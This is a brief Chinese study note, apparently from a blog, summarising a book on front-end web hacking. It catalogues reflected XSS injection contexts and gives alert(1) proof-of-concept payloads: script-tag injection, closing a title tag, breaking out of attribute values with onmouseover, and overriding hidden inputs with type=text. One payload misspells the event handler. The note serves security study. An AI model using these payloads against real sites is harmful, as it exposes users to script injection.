--《web前端黑客技术加密》
HTML标签之间
普通场景
<div id="body">[输出]</div>
提交
id=1<script>alert(1)</script>
综合
<div id="body">1<script>alert(1)</script></div>
无法执行脚本的标签
title:定义文档的标题
textarea:定义多行的文本输入控件
xmp:定义预格式文本。
iframe:创建包含另外一个文档的内联框架(即行内框架)
noscript:定义在脚本未被执行时的替代内容(文本)
noframes:可为那些不支持框架的浏览器显示文本。noframes 元素位于 frameset 元素内部。
plaintext:纯文本,和 pre 一样,代码中的空格和换行会直接显示到页面上。另外 < 和 > 和 & 也会直接显示。
解决方法:闭合,例如title
</title><script>alert</script>
HTML标签之内
普通场景
<input id="text" value="[输出]"/>
提交
"onmouseover=alert(1)x="
综合为:
<input id="text" value=""onmouseover=alert(1)x=""/>
"><script>alert(1)</script>
综合为:
<input id="text" value=""><script>alert(1)</script>"/>
书上解释为:这种是闭合属性后又闭合标签,然后直接执行脚本
同学解释为:input标签不需要闭合即执行,在达到目的后,后面无闭合已无所谓
其它场景
type为hidden
1)闭合
2)若type在输出后,可在payload中加入type=text
例如:
原语句为:
<input value="输入" type=hidden"/>
payload:
1" onmouserover=alert(1) type="text
综合为:
<input value="1" onmouserover=alert(1) type="text" type=hidden"/>
2.待续吧。。。
网友评论